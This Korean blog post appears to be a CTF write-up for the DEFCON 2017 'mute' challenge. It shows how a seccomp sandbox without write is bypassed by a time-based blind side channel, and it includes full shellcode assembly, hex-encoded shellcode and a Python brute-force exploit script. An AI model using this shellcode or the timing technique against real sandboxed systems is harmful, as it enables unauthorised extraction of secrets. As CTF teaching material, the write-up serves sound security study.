y0u_bat
[DEFCON 2017] mute 본문
샌드박스문제이다.
샌드박스 때문에, write를 syscall 못할때, cmp를 이용해서 time-base로 blind로 플래그를 뽑아내는 문제이다.
Mitigation
NX만 걸려있고, 나머지는 안걸려있다.
Vulnerability
Main 함수이다. buf에 4096크기만큼 rwx권한으로 메모리 맵핑해준다.
그리고 read로 buf에 4096 크기만큼 입력받는다. 그다음에 buf에 담긴 내용을 실행한다.
이문제는 샌드박스 관련 문제이다. dropSyscalls() 함수를 한번 보자.
샌드박스가 돌아가고 있고, Rule에 syscall 0x0,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0xa,0xb,0xc,0x3b만 호출 될수있도록 추가 되어 있다.
해당 syscall은 [read, open, close, stat, fstat, lstat, poll, lseek, mmap, mprotect, munmap, brk, execve] 이다.
open과 read를 사용 할 수 있으므로, open으로 flag을 열고, read로 읽을 수 있다.
여기서 문제는 write가 할수없다는것인데, time-base blind로 읽어온 플래그를 뽑아낼수있다.
xor %rcx, %rcx
mov $0x1FFFFFFFE, %r10
cmpb $0x69, (0x601080)
je time
xor %rax, %rax
mov $0x3c, %al
syscall
time:
inc %rcx
cmp %rcx, %r10
jne time
이런식으로, 0x601080에 플래그를 읽고 cmpb로 비교를 해서 맞을경우, 저 0이 0x1fffffffe이 될때까지 루프를 계속 돌아가게 된다. 0x1fffffffe까지 되는데 한 1초 이상 걸리게 된다.
그래서 그 걸리는 시간을 이용해서, time-base blind를 할 수 있게 된다.
Shellcode ASM
.global main
main:
xor %rax, %rax
xor %rdx, %rdx
xor %rsi, %rsi
xor %rdi, %rdi
xor %r10, %r10
mov $0x2, %rax
mov $0x67616c662f6574, %rbx
push %rbx
mov $0x756d2f656d6f682f, %rbx
push %rbx
xor %rbx, %rbx
lea (%rsp), %rdi
syscall
mov %rax, %rbx
mov %rax, %rdi
lea (0x601080), %rsi
mov $0x30, %rdx
mov $0, %rax
syscall
xor %rcx, %rcx
mov $0x1FFFFFFFE, %r10
cmpb $0x69, (0x601080) # bruteforce
je time
xor %rax, %rax
mov $0x3c, %al
syscall
time:
inc %rcx
cmp %rcx, %r10
jne time
xor %rax, %rax
mov $0x3c, %al
syscall
Exploit Code
from time import *
from struct import *
import os
p32 = lambda x : pack("<L",x)
shellcode = "\\x48\\x31\\xc0\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x4d\\x31\\xd2\\x48\\xc7\\xc0\\x02\\x00\\x00\\x00\\x48\\xbb\\x74\\x65\\x2f\\x66\\x6c\\x61\\x67\\x00\\x53\\x48\\xbb\\x2f\\x68\\x6f\\x6d\\x65\\x2f\\x6d\\x75\\x53\\x48\\x31\\xdb\\x48\\x8d\\x3c\\x24\\x0f\\x05\\x48\\x89\\xc3\\x48\\x89\\xc7\\x48\\x8d\\x34\\x25\\x80\\x10\\x60\\x00\\x48\\xc7\\xc2\\x30\\x00\\x00\\x00\\x48\\xc7\\xc0\\x00\\x00\\x00\\x00\\x0f\\x05\\x48\\x31\\xc9\\x49\\xba\\xff\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x80\\x3c\\x25"
start_time = 0
address = ""
flag = ""
shellcode2 = "\\x74\\x07\\x48\\x31\\xc0\\xb0\\x3c\\x0f\\x05\\x48\\xff\\xc1\\x49\\x39\\xca\\x75\\xf8\\x48\\x31\\xc0\\xb0\\x3c\\x0f\\x05\\x66\\x2e\\x0f\\x1f\\x84\\x00\\x00\\x00\\x00\\x00"
flag_table = []
for i in range(0x80,0x80+30,1):
print hex(i)
for j in range(0x21,0x7e,1):
start_time = time()
address = "\\" + str(hex(i))[1:] + "\\x10\\x60\\x00"
flag = "\\" + str(hex(j))[1:]
payload = shellcode + address + flag + shellcode2 + "\\x90"*(4096-138)
os.popen("python -c 'print \"" + str(payload) + "\"' | ./mute")
result_time = time() - start_time
if result_time > 2:
flag_table.append(chr(j))
print flag_table
break
'System > [CTF]' 카테고리의 다른 글
Codegate2018 - BaskinRobins31 (0) | 2018.02.10 |
---|---|
Codegate2018 - Super Marimo (0) | 2018.02.10 |
Codegaet2018 - Melong (0) | 2018.02.10 |
[DEFCON 2017] Smashme (0) | 2017.05.07 |
[DEFCON 2017] beatmethedl (1) | 2017.05.06 |
Comments